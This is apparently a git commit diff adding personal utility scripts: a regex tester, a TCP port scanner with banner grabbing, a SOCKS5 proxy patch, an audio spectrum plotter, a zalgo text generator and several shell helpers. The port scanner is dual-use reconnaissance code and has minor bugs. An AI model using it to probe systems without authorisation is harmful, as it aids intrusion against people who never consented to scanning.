previous = ''
|
||||
username = 'Michele'
|
||||
|
||||
chat_size = lambda: sum(1 for _ in open('log.txt'))
|
||||
offset = lambda: '\n' * mod(terminal_size()[0] - chat_size() - 2)
|
||||
prompt = lambda: offset() + username + '>> '
|
||||
|
||||
|
||||
file = open('log.txt', 'a+')
|
||||
thread = threading.Thread(target=update, daemon=True)
|
||||
|
||||
|
||||
if __name__ == '__main__':
|
||||
try:
|
||||
thread.start()
|
||||
clear()
|
||||
while True:
|
||||
read()
|
||||
except KeyboardInterrupt:
|
||||
print()
|
123
python/requery.py
Executable file
123
python/requery.py
Executable file
@ -0,0 +1,123 @@
|
||||
#!/usr/bin/env nix-script
|
||||
#!>python3
|
||||
|
||||
## Regex tester
|
||||
|
||||
import tkinter
|
||||
import tkinter.messagebox
|
||||
import traceback
|
||||
|
||||
|
||||
class Text(tkinter.Text):
|
||||
"""
|
||||
Tkinter Text Widget
|
||||
Override that allows to highlight words with regex.
|
||||
"""
|
||||
def __init__(self, *args, **kwargs):
|
||||
tkinter.Text.__init__(self, *args, **kwargs)
|
||||
|
||||
def highlight(self, pattern, tag, start="1.0", stop="end", regex=True):
|
||||
"""
|
||||
Highlight text matched by "pattern" and apply it the tag "tag"
|
||||
Specify "start" and "stop" in order to restrict the search and
|
||||
regex=False if pattern is not a regex.
|
||||
"""
|
||||
start = self.index(start)
|
||||
stop = self.index(stop)
|
||||
self.mark_set("matchStart", start)
|
||||
self.mark_set("matchEnd", start)
|
||||
self.mark_set("searchLimit", stop)
|
||||
occurrences = tkinter.IntVar()
|
||||
while True:
|
||||
index = self.search(
|
||||
pattern,
|
||||
"matchEnd",
|
||||
"searchLimit",
|
||||
count=occurrences,
|
||||
regexp=regex
|
||||
)
|
||||
if index == "":
|
||||
break
|
||||
self.mark_set("matchStart", index)
|
||||
self.mark_set("matchEnd", "%s+%sc" % (index, occurrences.get()))
|
||||
self.tag_add(tag, "matchStart", "matchEnd")
|
||||
|
||||
|
||||
class Application(tkinter.Frame):
|
||||
"""
|
||||
Application
|
||||
Initialize it with a window created by Tk().
|
||||
"""
|
||||
def __init__(self, window):
|
||||
tkinter.Frame.__init__(self, window)
|
||||
|
||||
self.options = {
|
||||
"font": ("Monaco", 13),
|
||||
"borderwidth": 2,
|
||||
"highlightthickness": 0,
|
||||
"relief": "sunken",
|
||||
"insertbackground": "#fff"
|
||||
}
|
||||
self.last = ""
|
||||
|
||||
#Window settings
|
||||
window.columnconfigure(1, weight=1)
|
||||
window.rowconfigure(0, weight=1)
|
||||
window.geometry("800x500+540+300")
|
||||
window.title("reQuery")
|
||||
|
||||
#Inizialize
|
||||
self.grid()
|
||||
self.widgets()
|
||||
|
||||
#Main loop
|
||||
self.loop()
|
||||
|
||||
def widgets(self):
|
||||
"""Create and draw the widgets of the window."""
|
||||
self.search = Text(
|
||||
window, width=100, height=30, **self.options)
|
||||
self.expression = tkinter.Entry(window, **self.options)
|
||||
|
||||
#Layout
|
||||
self.search.grid(
|
||||
column=1, row=0, sticky="nswe", pady=(6, 3), padx=6)
|
||||
self.expression.grid(
|
||||
column=1, row=1, sticky="nswe", pady=(3, 6), padx=6)
|
||||
|
||||
def test(self):
|
||||
"""
|
||||
Highlight in the text output generated by the search
|
||||
If this is not valid is colored in red.
|
||||
If it is valid is colored in green as well as the text
|
||||
to which it corresponds.
|
||||
"""
|
||||
|
||||
expression = self.expression.get()
|
||||
if expression == "" or expression == self.last:
|
||||
return
|
||||
try:
|
||||
self.search.tag_configure("result", foreground="#648f00")
|
||||
self.search.highlight(expression, "result")
|
||||
except tkinter.TclError:
|
||||
self.expression.config(fg="#92182b")
|
||||
tkinter.messagebox.showerror(
|
||||
"reQuery", "Syntax error",
|
||||
detail=traceback.format_exc(0).split(":")[3])
|
||||
self.display_error = False
|
||||
else:
|
||||
self.expression.config(fg="#648f00")
|
||||
self.last = expression
|
||||
|
||||
def loop(self):
|
||||
"""
|
||||
Main loop
|
||||
Executed every 200 ms.
|
||||
Updates regex search.
|
||||
"""
|
||||
self.test()
|
||||
self.after(200, self.loop)
|
||||
|
||||
window = tkinter.Tk()
|
||||
app = Application(window)
|
||||
app.mainloop()
|
126
python/scanner.py
Executable file
126
python/scanner.py
Executable file
@ -0,0 +1,126 @@
|
||||
#!/usr/bin/env python3
|
||||
|
||||
## Simple TCP port scanner
|
||||
|
||||
import argparse
|
||||
import re
|
||||
import ast
|
||||
import socket
|
||||
import io
|
||||
import concurrent.futures
|
||||
|
||||
|
||||
def _ports(port):
|
||||
"""
|
||||
Validates argparse port argument.
|
||||
Accepts a single port, a port range or a list (comma separated).
|
||||
"""
|
||||
|
||||
valid_range = range(1, 65535 + 1)
|
||||
range_re = re.compile("\d+:\d+")
|
||||
list_re = re.compile("(\d+,\d+)+")
|
||||
|
||||
try:
|
||||
port = int(port)
|
||||
if port not in valid_range:
|
||||
raise argparse.ArgumentTypeError("Port must be 1-65535")
|
||||
return [port]
|
||||
except ValueError:
|
||||
if range_re.match(port):
|
||||
start, stop = (int(i) for i in port.split(":"))
|
||||
if (start not in valid_range
|
||||
or stop not in valid_range
|
||||
or start > stop):
|
||||
raise argparse.ArgumentTypeError("Invalid range: " + port)
|
||||
return range(start, stop + 1)
|
||||
elif list_re.match(port):
|
||||
try:
|
||||
return [i for i in ast.literal_eval(id) if i in valid_range]
|
||||
except:
|
||||
raise argparse.ArgumentTypeError("Invalid list: " + port)
|
||||
|
||||
|
||||
def _hostname(name):
|
||||
"""
|
||||
Validates argparse hostname argument.
|
||||
Accepts an ip address or a domain name.
|
||||
"""
|
||||
|
||||
try:
|
||||
socket.gethostbyname(name)
|
||||
return name
|
||||
except socket.gaierror:
|
||||
raise argparse.ArgumentTypeError("Invalid hostname: " + name)
|
||||
try:
|
||||
socket.inet_aton(name)
|
||||
return name
|
||||
except socket.error:
|
||||
raise argparse.ArgumentTypeError("Invalid ip address: " + name)
|
||||
|
||||
|
||||
def connect(hostname, port, verbose, banner):
|
||||
"""
|
||||
Connects to a given hostname and port.
|
||||
Set banner to True to get the application banner.
|
||||
Set verbose level (1,2,3) to get more informations.
|
||||
"""
|
||||
|
||||
out = io.StringIO()
|
||||
try:
|
||||
connection = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
||||
connection.connect((hostname, port))
|
||||
print("[+] %d open" % port, file=out)
|
||||
if banner:
|
||||
connection.send("hi\r\n".encode("utf-8"))
|
||||
banner = connection.recv(100).decode("utf-8").strip("\n")
|
||||
print(" ┖──[b] " + banner, file=out)
|
||||
connection.close()
|
||||
except ConnectionRefusedError as e:
|
||||
if verbose > 0:
|
||||
print("[-] %d closed" % port, file=out)
|
||||
if verbose > 1:
|
||||
print(" ┖──[v] %s" % e, file=out)
|
||||
except socket.timeout:
|
||||
if banner and verbose > 1:
|
||||
print(" ┖──[b] No response", file=out)
|
||||
return out
|
||||
|
||||
|
||||
def scan(hostname, ports, verbose=0, banner=False):
|
||||
"""Perform a scan on the given hostname and ports."""
|
||||
socket.setdefaulttimeout(2)
|
||||
try:
|
||||
name = socket.gethostbyaddr(hostname)
|
||||
print("[*] Scanning " + name[0])
|
||||
except socket.error as e:
|
||||
print("[*] Scanning " + hostname)
|
||||
with concurrent.futures.ThreadPoolExecutor(100) as executor:
|
||||
threads = []
|
||||
for port in ports:
|
||||
threads.append(executor.submit(connect, hostname, port, verbose, banner))
|
||||
for i in threads:
|
||||
print(i.result().getvalue(), end="")
|
||||
|
||||
|
||||
def main():
|
||||
parser = argparse.ArgumentParser(description="Simple TCP port scanner.")
|
||||
parser.add_argument(
|
||||
"hostname", type=_hostname,
|
||||
help="Hostname, ip address.")
|
||||
parser.add_argument(
|
||||
"ports", type=_ports,
|
||||
help="Single port, range a:b or list (comma separated)")
|
||||
parser.add_argument(
|
||||
"-v", "--verbose",
|
||||
action="count", default=0,
|
||||
help="Show more information")
|
||||
parser.add_argument(
|
||||
"-b", "--banner",
|
||||
action="store_true", default=False,
|
||||
help="Get application banner.")
|
||||
args = parser.parse_args()
|
||||
|
||||
scan(**vars(args))
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
17
python/socks.py
Normal file
17
python/socks.py
Normal file
@ -0,0 +1,17 @@
|
||||
## Patch for request and mechanize which force them to use for through a SOCKS5 proxy
|
||||
|
||||
import requests
|
||||
|
||||
import socks
|
||||
import socket
|
||||
|
||||
def create_connection(address, timeout=None, source_address=None):
|
||||
sock = socks.socksocket()
|
||||
sock.connect(address)
|
||||
return sock
|
||||
|
||||
socks.setdefaultproxy(socks.PROXY_TYPE_SOCKS5, "127.0.0.1", 9150)
|
||||
socket.socket = socks.socksocket
|
||||
socket.create_connection = create_connection
|
||||
|
||||
print(requests.get('http://icanhazip.com').text)
|
77
python/spectrum.py
Executable file
77
python/spectrum.py
Executable file
@ -0,0 +1,77 @@
|
||||
#!/usr/bin/env nix-script
|
||||
#!>python
|
||||
#! python | matplotlib numpy scipy pyaudio
|
||||
|
||||
## Real-time sound spectrum analysis.
|
||||
|
||||
import pyaudio
|
||||
import scipy.fftpack
|
||||
import scipy.interpolate
|
||||
import numpy
|
||||
import pylab
|
||||
|
||||
#pyAudio settings
|
||||
settings = {
|
||||
"format": pyaudio.paInt16,
|
||||
"channels": 2,
|
||||
"rate": 96000,
|
||||
"input": True,
|
||||
"frames_per_buffer": 1024
|
||||
}
|
||||
audio = pyaudio.PyAudio()
|
||||
stream = audio.open(**settings)
|
||||
|
||||
#pyLab configurations
|
||||
pylab.ion()
|
||||
figura, (spectrum_log, spectrum, wave) = pylab.subplots(nrows=3, ncols=1)
|
||||
pylab.subplots_adjust(hspace=0.5, left=0.1)
|
||||
|
||||
#Plot settings
|
||||
spectrum_log.set_ylabel("a (dB)")
|
||||
spectrum_log.set_xlabel("ƒ (Hz)")
|
||||
spectrum_log.ticklabel_format(style="sci", scilimits=(0, 0), axis="x")
|
||||
spectrum_log.grid(True)
|
||||
curve1, = spectrum_log.plot([0, 8 * 10 ** 3], [0, 10 ** 2], "b-")
|
||||
|
||||
spectrum.yaxis.set_visible(False)
|
||||
spectrum.set_xlabel("ƒ (Hz)")
|
||||
spectrum.ticklabel_format(style="sci", scilimits=(0, 0), axis="x")
|
||||
spectrum.grid(True)
|
||||
curve2, = spectrum.plot([0, 8 * 10 ** 3], [0, 10 ** 5])
|
||||
|
||||
wave.xaxis.set_visible(False)
|
||||
wave.yaxis.set_visible(False)
|
||||
curve3, = wave.plot([0, 8 * 10 ** 3], [-2 * 10 ** 3, 2 * 10 ** 3], "g-")
|
||||
|
||||
#Main loop
|
||||
while True:
|
||||
#Acquire data from microphone
|
||||
try:
|
||||
block = numpy.array(numpy.fromstring(
|
||||
stream.read(settings["frames_per_buffer"]), dtype="int16"))
|
||||
except IOError:
|
||||
continue
|
||||
|
||||
#FFT of registred block
|
||||
fftx = scipy.fftpack.rfftfreq(
|
||||
settings["frames_per_buffer"],
|
||||
1 / settings["rate"])
|
||||
|
||||
#Calculate log version
|
||||
ffty = abs(scipy.fftpack.fft(block)[0:len(fftx)])
|
||||
ffty_log = 10 * scipy.log10(ffty)
|
||||
|
||||
#Data interpolation
|
||||
wave = scipy.interpolate.interp1d(fftx, block[0:len(fftx)])(fftx)
|
||||
|
||||
#Update plot data
|
||||
curve1.set_xdata(fftx)
|
||||
curve2.set_xdata(fftx)
|
||||
curve3.set_xdata(fftx)
|
||||
|
||||
curve1.set_ydata(ffty_log)
|
||||
curve2.set_ydata(ffty)
|
||||
curve3.set_ydata(wave)
|
||||
|
||||
#Redraw
|
||||
pylab.draw()
|
66
python/zalgo.py
Executable file
66
python/zalgo.py
Executable file
@ -0,0 +1,66 @@
|
||||
#!/usr/bin/env python3
|
||||
|
||||
import random
|
||||
import argparse
|
||||
|
||||
#Characters
|
||||
superscript = [
|
||||
"\u030d", "\u030e", "\u0304", "\u0305", "\u033f",
|
||||
"\u0311", "\u0306", "\u0310", "\u0352", "\u0357",
|
||||
"\u0351", "\u0307", "\u0308", "\u030a", "\u0342",
|
||||
"\u0343", "\u0344", "\u034a", "\u034b", "\u034c",
|
||||
"\u0303", "\u0302", "\u030c", "\u0350", "\u0300",
|
||||
"\u030b", "\u030f", "\u0312", "\u0313", "\u0314",
|
||||
"\u033d", "\u0309", "\u0363", "\u0364", "\u0365",
|
||||
"\u0366", "\u0367", "\u0368", "\u0369", "\u036a",
|
||||
"\u036b", "\u036c", "\u036d", "\u036e", "\u036f",
|
||||
"\u033e", "\u035b", "\u0346", "\u031a"
|
||||
]
|
||||
|
||||
middlescript = [
|
||||
"\u0315", "\u031b", "\u0340", "\u0341", "\u0358",
|
||||
"\u0321", "\u0322", "\u0327", "\u0328", "\u0334",
|
||||
"\u0335", "\u0336", "\u034f", "\u035c", "\u035d",
|
||||
"\u035e", "\u035f", "\u0360", "\u0362", "\u0338",
|
||||
"\u0337", "\u0361", "\u0489"
|
||||
]
|
||||
|
||||
subscript = [
|
||||
"\u0316", "\u0317", "\u0318", "\u0319", "\u031c",
|
||||
"\u031d", "\u031e", "\u031f", "\u0320", "\u0324",
|
||||
"\u0325", "\u0326", "\u0329", "\u032a", "\u032b",
|
||||
"\u032c", "\u032d", "\u032e", "\u032f", "\u0330",
|
||||
"\u0331", "\u0332", "\u0333", "\u0339", "\u033a",
|
||||
"\u033b", "\u033c", "\u0345", "\u0347", "\u0348",
|
||||
"\u0349", "\u034d", "\u034e", "\u0353", "\u0354",
|
||||
"\u0355", "\u0356", "\u0359", "\u035a", "\u0323"
|
||||
]
|
||||
|
||||
types = {"a": superscript, "b": middlescript, "c": subscript}
|
||||
|
||||
|
||||
def main():
|
||||
parser = argparse.ArgumentParser(description="Zalgo text generator")
|
||||
parser.add_argument("chars", type=str,
|
||||
help="a: superscript b: middlescript c: subscript")
|
||||
parser.add_argument("n", type=int,
|
||||
help="number of chars to append to the text")
|
||||
parser.add_argument("text", type=str,
|
||||
help="text to convert")
|
||||
args = parser.parse_args()
|
||||
|
||||
#Only use selected chars
|
||||
chars = [types[i] for i in args.chars]
|
||||
zalgo = []
|
||||
|
||||
for char in args.text:
|
||||
for i in range(args.n):
|
||||
#Append 2 random chars for each one
|
||||
char = "{}{}{}".format(
|
||||
random.choice(random.choice(chars)),
|
||||
char, random.choice(random.choice(chars)))
|
||||
zalgo.append(char)
|
||||
print("", "".join(zalgo), "", sep="\n")
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
39
scripts/brightness
Executable file
39
scripts/brightness
Executable file
@ -0,0 +1,39 @@
|
||||
#!/bin/sh
|
||||
|
||||
# Set brightness for DDC/CI enabled monitors
|
||||
|
||||
export PATH="/var/setuid-wrappers:$PATH"
|
||||
|
||||
# monitor i2c device
|
||||
device=dev:/dev/i2c-0
|
||||
|
||||
# brightness values
|
||||
night=35
|
||||
transition=45
|
||||
daytime=60
|
||||
|
||||
|
||||
deref() {
|
||||
eval "echo \$$1"
|
||||
}
|
||||
|
||||
set_brightness() {
|
||||
sudo ddccontrol $device -r 0x10 -w > /dev/null $1 2>&1
|
||||
}
|
||||
|
||||
fade_to() {
|
||||
current=$(sudo ddccontrol $device -r 0x10 2> /dev/null | grep -oP '\+/\K[0-9]+')
|
||||
[ $current -gt $1 ] && step=-1 || step=1
|
||||
for i in $(seq $current $step $1); do
|
||||
set_brightness $i
|
||||
sleep 1
|
||||
done
|
||||
}
|
||||
|
||||
|
||||
if [ $1 = "period-changed" ]; then
|
||||
if ! (lsmod | grep -q "^i2c_dev"); then
|
||||
sudo modprobe i2c-dev
|
||||
fi
|
||||
fade_to $(deref $3)
|
||||
fi
|
50
scripts/haddock-upload
Executable file
50
scripts/haddock-upload
Executable file
@ -0,0 +1,50 @@
|
||||
#!/usr/bin/env nix-script
|
||||
#!>zsh
|
||||
#! shell | zsh curl haskellPackages.cabal-install
|
||||
|
||||
# functions
|
||||
conf(){ cat *.cabal | grep -Po "^$1:\s+\K.+" }
|
||||
input(){ read "reply?$1 "; echo ${reply:-$2} }
|
||||
inputpw(){ echo -n "$1 " >&2; scat --silent --nocode -n 24 -S $2; echo >&2 }
|
||||
|
||||
# parameters
|
||||
package=$(conf name)
|
||||
version=$(conf version)
|
||||
author=$(conf author)
|
||||
|
||||
# authentication
|
||||
user=$(input "user ($author):" $author)
|
||||
password=$(inputpw "password:" hackage)
|
||||
|
||||
cabal configure &&
|
||||
cabal build &&
|
||||
cabal haddock \
|
||||
--hyperlink-source \
|
||||
--html-location='/package/$pkg-$version/docs' \
|
||||
--contents-location='/package/$pkg'
|
||||
|
||||
S=$?
|
||||
if [ "$S" = "0" ]; then
|
||||
cd dist/doc/html
|
||||
ddir="$package-$version-docs"
|
||||
cp -rf $package $ddir &&
|
||||
tar -cz --format=ustar -f "$ddir.tar.gz" $ddir
|
||||
CS=$?
|
||||
if [ "$CS" -eq "0" ]; then
|
||||
echo "Uploading to Hackage..."
|
||||
curl \
|
||||
-X PUT \
|
||||
-H 'Content-Type: application/x-tar' \
|
||||
-H 'Content-Encoding: gzip' \
|
||||
-u "$user:$password" \
|
||||
--data-binary "@$ddir.tar.gz" \
|
||||
"https://hackage.haskell.org/package/$package-$version/docs"
|
||||
exit $?
|
||||
else
|
||||
echo "Error when packaging the documentation."
|
||||
exit $CS
|
||||
fi
|
||||
else
|
||||
echo "Error when trying to build the package."
|
||||
exit $S
|
||||
fi
|
10
scripts/lock
Executable file
10
scripts/lock
Executable file
@ -0,0 +1,10 @@
|
||||
#!/bin/sh
|
||||
icon=$HOME/img/misc/lock.png
|
||||
tmpbg=/tmp/screenshot.png
|
||||
|
||||
(( $# )) && { icon=$1; }
|
||||
|
||||
scrot $tmpbg
|
||||
gm convert $tmpbg -scale 10% -scale 1000% $tmpbg
|
||||
gm composite -resize 256x256^ -gravity center $icon $tmpbg $tmpbg
|
||||
i3lock -e -u -i $tmpbg 2>/dev/null
|
44
scripts/wa
Executable file
44
scripts/wa
Executable file
@ -0,0 +1,44 @@
|
||||
#!/usr/bin/env sh
|
||||
|
||||
## WolframAlpha CLI
|
||||
|
||||
# load api key
|
||||
token="${XDG_CONFIG_HOME:-$HOME}/wolfram"
|
||||
source $token
|
||||
|
||||
# properly encode query
|
||||
q=$(echo ${*} | sed 's/+/%2B/g' | tr '\ ' '\+')
|
||||
|
||||
# fetch and parse result
|
||||
result=$(curl -s "http://api.wolframalpha.com/v2/query?input=${q}&appid=${API_KEY}&format=plaintext")
|
||||
|
||||
if [ -n "$(echo ${result} | grep 'Invalid appid')" ] ; then
|
||||
echo "Invalid API key!"
|
||||
echo "Get one at https://developer.wolframalpha.com/portal/apisignup.html"
|
||||
echo -n 'Enter your WolframAlpha API key:'
|
||||
read api_key
|
||||
echo "API_KEY=${api_key}" >> $token
|
||||
exit 1
|
||||
fi
|
||||
|
||||
result=`echo "${result}" \
|
||||
| tr '\n' '\t' \
|
||||
| sed -e 's/<plaintext>/\'$'\n<plaintext>/g' \
|
||||
| grep -oE "<plaintext>.*</plaintext>|<pod title=.[^\']*" \
|
||||
| sed -e 's!<plaintext>!!g; \
|
||||
s!</plaintext>!!g; \
|
||||
s!<pod title=.*!\\\x1b[1;36m&\\\x1b[0m!g; \
|
||||
s!^! !g; \
|
||||
s!<pod title=.!\n!g; \
|
||||
s!\&!\&!g; \
|
||||
s!\<!<!g; \
|
||||
s!\>!>!g; \
|
||||
s!\"!"!g' \
|
||||
-e "s/\'/'/g" \
|
||||
| tr '\t' '\n' \
|
||||
| sed '/^$/d; \
|
||||
s/\ \ */\ /g; \
|
||||
s/\\\:/\\\u/g'`
|
||||
|
||||
# print result
|
||||
echo -e "${result}"
|
Loading…
Reference in New Issue
Block a user